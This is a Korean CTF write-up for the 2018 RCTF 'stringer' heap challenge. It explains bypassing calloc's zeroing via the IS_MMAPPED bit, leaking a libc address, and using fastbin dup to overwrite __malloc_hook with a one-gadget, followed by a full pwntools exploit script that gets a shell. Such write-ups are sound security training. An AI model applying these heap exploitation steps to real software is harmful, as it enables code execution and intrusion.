2018 RCTF stringer
- calloc trick
show 메뉴가 존재했지만 기능은 없었다. 하지만 new할 때 넣은 content를 출력해준다. 하지만 할당할 때 calloc을 사용해서 할당한다는 점이다. calloc을 사용하게 되면 메모리 영역이 다 초기화 된다는 점이다.
unsorted bin을 만들고 edit을 이용해서 다음청크의 사이즈 1을 증가시킬 수 있어서 IS_MMAPED를 set해주면 메모리를 초기화 하지 않는다는 점이다. calloc.c 코드에서 볼 수있다.
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
그래서 이를 이용해서 같은 크기로 재할당해서 main_arena+88 주소를 leak할 수 있다. 이후에는 fastbin dup해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./stringer')
p = process('./stringer')
libc = e.libc
chunk = 0x0000000000202040
def new(size,content):
p.sendlineafter(':','1')
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def edit(idx,idx2):
p.sendlineafter(':','3')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(idx2))
def delete(idx):
p.sendlineafter(':','4')
p.sendlineafter(':',str(idx))
new(24,'A'*8) # 0
new(0x100,'B'*8) # 1
new(0x100,'C'*8) # 2
delete(1)
edit(0,24) # set is_mmap
new(0x100,'B'*7) # 1 leak
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - (0x3c4b20 + 88)
log.info('libc_base : {}'.format(hex(libc_base)))
malloc = libc_base + libc.symbols['__malloc_hook']
log.info('__malloc_hook : {}'.format(hex(malloc)))
oneshot = libc_base + 0xf02a4
log.info('oneshot : {}'.format(hex(oneshot)))
new(0x60,'a') # 3
new(0x60,'a') # 4
new(0x60,'a') # 5
delete(4)
delete(5)
delete(4)
new(0x60,p64(malloc-0x23))
new(0x60,'b')
new(0x60,'b')
new(0x60,'A'*19+p64(oneshot))
new(0x60,'finish')
p.interactive()
Reference
https://0xpwny.com/2019/03/14/bypass-calloc-zeroing-memory/
https://github.com/str8outtaheap/heapwn/blob/master/malloc/__libc_calloc.c#L89
https://github.com/andigena/ptmalloc-fanzine/tree/master/03-scraps